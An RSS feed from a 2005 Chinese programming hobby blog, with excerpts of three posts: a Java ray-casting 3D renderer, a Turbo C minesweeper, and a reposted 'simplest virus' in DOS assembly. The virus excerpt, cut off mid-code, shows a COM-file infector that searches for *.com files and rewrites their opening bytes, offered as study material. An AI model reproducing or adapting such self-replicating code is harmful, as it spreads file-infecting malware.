<?xml version="1.0" encoding="utf-8"?><rss version="2.0">
<channel>
<title><![CDATA[渐行渐远]]></title>
<link>http://blog.pfan.cn/jywzzz</link>
<description>编程爱好者博客</description>
<language>zh-cn</language>
			<item>
		<title><![CDATA[用Java实现3D模型成像]]></title>
		<link>http://blog.pfan.cn/jywzzz/8340.html</link>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 代码如此的短，被我优化过，所以不很容易看懂。有这个想法源于看图形学时看到的直线的画法，当时我想，用这个方法用来画空间投射线也应该很容易。于是就做了这个基于空间投射线的3D模型成像。
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 代码里面基本是算法，但是终归要有一个3D模型才能成像，于是我建立了一个3维数组，用来储存空间的点信息。也就是byte[][][] data；然后随便画了几个矩形、几个点，看起来效果还是不错的。（其实class Mod里面基本上都在画这些点和矩形）
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 【原理】从视点透出201×201的空间投射线，如果和空间中的3D模型相碰撞则返回并记录下点的颜色信息。最后产生一张201×201的2D图形，然后放大到603×603，并显示。
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用(E)(D)(S)(F)来控制视点的上下左右移动，用(J)(K)(L)来控制视点的前进后退和复原。
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;【Model.java】
import java.awt.*;import java.awt.event.*;import java.awt.image.*;import javax.swing.*;
public class Model{&nbsp; public static void main(String [] args){&nbsp;&nbsp;&nbsp; MFrame f = new MFrame();&nbsp;&nbsp;&nbsp; f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);&nbsp;&nbsp;&nbsp; f.setSize(608,628);&nbsp;&nbsp;&nbsp; f.setVisible(true);&nbsp; }}
class MFrame extends JFrame{&nbsp; MFrame(){&nbsp;&nbsp;&nbsp]]></description>
		<author><![CDATA[jywzzz]]></author>
		<pubDate>2005-12-16 11:55:00</pubDate>
		</item>
				<item>
		<title><![CDATA[【转载】一个最简单的病毒]]></title>
		<link>http://blog.pfan.cn/jywzzz/8286.html</link>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 原来有一些错误，改正过来了，另外自己加了一些注解。毕竟实dos年代的16位病毒了，现在作用不大，但是似乎可以被杀毒软件检测出来，呵呵。
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果想学习病毒，不妨从这个开始，里面我自己加了些注解，如果不是很清除，可以和我交流。
VirusLength equ VirusEnd-VirusStartcode segment&nbsp; assume cs:code,ds:code,ss:code&nbsp; org 100hmain proc near&nbsp; InfectedCode db 'M'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; db 3 dup(90h)VirusStart:&nbsp; call WhereIAmWhereIAm:&nbsp; pop si&nbsp; mov bp,si&nbsp; add si,Original4Bytes-WhereIAm&nbsp; mov di,100h&nbsp; movsw&nbsp; movsw;Change the first 4 bytes.&nbsp; mov si,bp&nbsp; mov ah,4ehLooK4NextTarget:&nbsp; mov dx,offset Target-WhereIAm&nbsp; add dx,si&nbsp; mov cx,0&nbsp; int 21h;Search for the first target file(*.com)&nbsp; jc error&nbsp; mov ax,3d02h&nbsp; mov dx,9eh&nbsp; int 21h&nbsp; jc error&nbsp; xchg ax,bx&nbsp; mov ah,3fh&nbsp; mov dx,si&nbsp; add dx,Original4Bytes-WhereIAm&nbsp; mov cx,4&nbsp; int 21h;Read first 4 bytes of t]]></description>
		<author><![CDATA[jywzzz]]></author>
		<pubDate>2005-12-15 19:05:00</pubDate>
		</item>
				<item>
		<title><![CDATA[一年以前最后一次用TC]]></title>
		<link>http://blog.pfan.cn/jywzzz/8285.html</link>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大概一年没有用C语言了吧，一直处于OO之中，用JAVA，又换成MFC。看核心技术，又看设计模式。幸好我有个习惯，写过的东西基本上全部保留下来，于是，可以看看当年的思维。
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一年前写的扫雷、面向过程的C，现在看来，有如隔世。
&nbsp;#include&lt;graphics.h&gt;#include&lt;dos.h&gt;#include&lt;conio.h&gt;#include&lt;stdlib.h&gt;
#define Timer 0x1c
typedef enum boolean{False,True}BOOLEAN;
typedef struct box{&nbsp;int num;&nbsp;int veil;}Box;
Box bx[32][18];int bmx[2]={1,1};int bmy[2]={1,1};
int dead=0;char *msg1="The time you spent is %d";char *msg2="The best score is %d";char buffer[30];
#ifdef __cplusplus#define __CPPARGS ...#else#define __CPPARGS#endif
/*************************************** time functions *******************************/int TCounter=0;
void interrupt ( *oldhandler)(__CPPARGS);
void interrupt newhandler(__CPPARGS){&nbsp;TCounter++;&nbsp;oldhandler();}void SetTimer(void interrupt(*IntProc)(__CPPARGS)){&nbsp;oldhandler=getvect(Timer);&nbsp;disable();&nbsp;setvect(Timer,IntProc);&nbsp;enabl]]></description>
		<author><![CDATA[jywzzz]]></author>
		<pubDate>2005-12-15 19:00:00</pubDate>
		</item>
		</channel>
</rss>